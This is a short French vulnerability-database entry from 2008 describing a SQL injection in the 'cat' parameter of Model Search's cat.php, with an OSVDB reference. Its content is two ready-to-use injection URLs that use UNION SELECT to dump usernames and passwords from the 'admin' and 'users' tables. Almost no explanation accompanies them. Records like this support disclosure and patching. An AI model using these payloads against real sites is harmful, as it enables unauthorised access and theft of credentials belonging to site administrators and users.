 |
|
|
|
| Détail d'une fiche vulnérabilité |
| |
 |
|
Model Search cat.php cat Variable SQL Injection |
|
|
Fiche créée le 2008-05-16 17:36:00, dernière mise à jour le 2008-05-16 18:34:24
http://[target]/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+admin/*
http://[target]/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+users/*
|
| |
| |
| |
| Référances externes : |
| OSVDB 45221 |
| |
| |
| |
| |
|
|
|
